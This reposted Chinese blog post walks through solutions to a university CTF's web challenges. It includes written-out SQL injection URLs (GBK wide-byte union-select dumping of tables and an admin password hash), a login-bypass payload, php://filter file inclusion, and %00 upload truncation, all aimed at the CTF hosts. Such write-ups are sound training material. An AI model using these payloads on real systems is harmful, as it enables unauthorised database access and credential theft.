zoukankan      html  css  js  c++  java
  • 南京邮电大学网络攻防平台WEB题

    南京邮电大学网络攻防平台WEB题

     

    平台地址:http://ctf.nuptsast.com/

    签到题:

    右键查看源代码,得到flag

    md5 collision:

    传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e开头的md5

    得到flag

    签到2:

    右键查看源代码

    输入框允许的最大长度为10,口令的长度为11

    使用hackbar post一下

    得到flag

    这题不是WEB:

    下载图片,用记事本打开

    拉到最后,得到flag

    层层递进:

    是一个网站页面,先扫一下

    有个404.html

    查看一下源代码,得到flag

    AAencode:

    这题为javascript aaencode解密题,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

    单身二十年

    右键查看源代码

    点击进入,得到flag

    php decode:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    function CLsI($ZzvSWE) {
     
        $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
     
        for ($i = 0; $i strlen($ZzvSWE); $i++) {
     
            $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
     
        }
     
        return $ZzvSWE;
     
    }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

     把eval改为echo,在本地用phpstudy测试一下

    得到flag

    文件包含:

    点进去

    用php://filter/读取index.php

    构建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

    为base64加密,解密一下得到flag

    单身一百年也没用:

    开启firebug,在“网络”里查看包,点击链接,查看包,得到flag

     Download~!:

    这类又两个下载链接,复制一下一个地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面为base64加密,下载download.php,对download.php进行base64加密后下载

    下载后打开

    发现一个hereiskey.php,下载后打开,得到flag

    COOKIE:

    在firebug里的cookies处修改一下,把0改成1,然后刷新页面

    得到flag

    MYSQL:

    直接在后面加个robots.txt

    id不等于1024才给输出内容,intval()函数又是获取整数值,直接传入1024.1,得到flag

     sql injection 3:

    加个单引号

    单引号被过滤了,看来是宽字节注入,查一下字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23

     报错

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23

     没报错

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23

     报错

    有2个字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23

     

    爆出了个2,查一下数据库

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23

     爆出了一个数据库

    爆一下表

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

     

    爆出了5个表:ctf,ctf2,ctf3,ctf4,news

    爆一下ctf的字段

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

     得到2个字段

    爆一下内容

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

     爆出一个admin和一个md5密文

    解一下密

    密文为njupt

    试了ctf2和ctf3都没有找到flag

    试ctf4的时候看到了一个flag字段

    爆一下内容

    得到flag

    /x00:

     ereg()函数可以%00截断,当传入的nctf为数组时,它的返回值不是FALSE,直接传入nctf[]得到flag

    bypass again:

    传入的a和b的值不相等,但是md5的值相等,可以用数组

    得到flag

    变量覆盖:

    点击,看一下源代码

    extract()函数变量覆盖$pass和$thepassword_123

    得到flag

     PHP是世界上最好的语言:

    访问一下index.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
     
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
     
     
    <br><br>
    Can you authenticate to this website?

     eregi()函数判断id传入的值是否为hackerDJ,传入的id的值url解码后要跟hackerDJ相同,对hackerDJ进行两次url编码

    http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

     

    得到flag

    伪装者:

    这里提示本地登陆

    Header:

    打开Firebug,刷新一下界面,得到flag

    上传绕过:

    选择一个图片文件上传,用burp抓包

    在/uploads/后加一个php的后缀名,然后%00截断,发包得到flag

    SQL注入1:

    点击Source,查看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
    ?>

     用admin')把语句闭合,用--把后面的语句注释掉,如果是admin的话,就能得到flag

    构造语句:admin') -- aaa,密码随便填

    pass check:

    代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <?php
    $pass=@$_POST['pass'];
    $pass1=***********;//被隐藏起来的密码
    if(isset($pass))
    {
    if(@!strcmp($pass,$pass1)){
    echo "flag:nctf{*}";
    }else{
    echo "the pass is wrong!";
    }
    }else{
    echo "please input pass!";
    }
    ?>

     strcmp()函数对$pass和$pass1进行比较,如果一样的话返回flag,strcmp()比较的结果相同时会返回0,比较数组的时候会返回null,null和0在判断中相等

    用hackbar post一个数组

    得到flag

    起名字真难:

    源码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
     function noother_says_correct($number)
    {
            $one = ord('1');
            $nine = ord('9');
            for ($i = 0; $i strlen($number); $i++)
            {  
                    $digit = ord($number{$i});
                    if ( ($digit >= $one) && ($digit <= $nine) )
                    {
                            return false;
                    }
            }
               return $number == '54975581388';
    }
    $flag='*******';
    if(noother_says_correct($_GET['key']))
        echo $flag;
    else
        echo 'access denied';
    ?>

     不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入

    http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

     

    得到flag

     
    分类: CTF
    转自:https://www.cnblogs.com/sch01ar/p/7780585.html
  • 相关阅读:
    ZOJ Problem Set–2417 Lowest Bit
    ZOJ Problem Set–1402 Magnificent Meatballs
    ZOJ Problem Set–1292 Integer Inquiry
    ZOJ Problem Set–1109 Language of FatMouse
    ZOJ Problem Set–1295 Reverse Text
    ZOJ Problem Set–1712 Skew Binary
    ZOJ Problem Set–1151 Word Reversal
    ZOJ Problem Set–1494 Climbing Worm
    ZOJ Problem Set–1251 Box of Bricks
    ZOJ Problem Set–1205 Martian Addition
  • 原文地址:https://www.cnblogs.com/apolloren/p/14139957.html
Copyright © 2011-2022 走看看